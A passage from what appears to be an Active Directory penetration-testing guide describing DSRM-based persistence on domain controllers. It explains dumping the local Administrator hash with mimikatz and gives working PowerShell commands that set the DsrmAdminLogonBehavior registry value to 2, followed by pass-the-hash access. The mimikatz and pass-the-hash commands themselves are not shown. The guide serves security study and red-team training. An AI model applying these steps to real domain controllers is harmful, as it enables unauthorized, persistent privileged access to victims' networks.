There is a local administrator account inside each DC. Having admin privileges in this machine you can use mimikatz to dump the local Administrator hash. Then, modifying a registry to activate this password so you can remotely access to this local Administrator user.
First we need to dump the hash of the local Administrator user inside the DC:
Then we need to check if that account will work, and if the registry key has the value "0" or it doesn't exist you need to set it to "2":
Get-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior #Check if the key exists and get the value
New-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2 -PropertyType DWORD #Create key with value "2" if it doesn't exist
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2#Change value to "2"
Then, using a PTH you can list the content of C$ or even obtain a shell. Notice that for creating a new powershell session with that hash in memory (for the PTH) the "domain" used is just the name of the DC machine: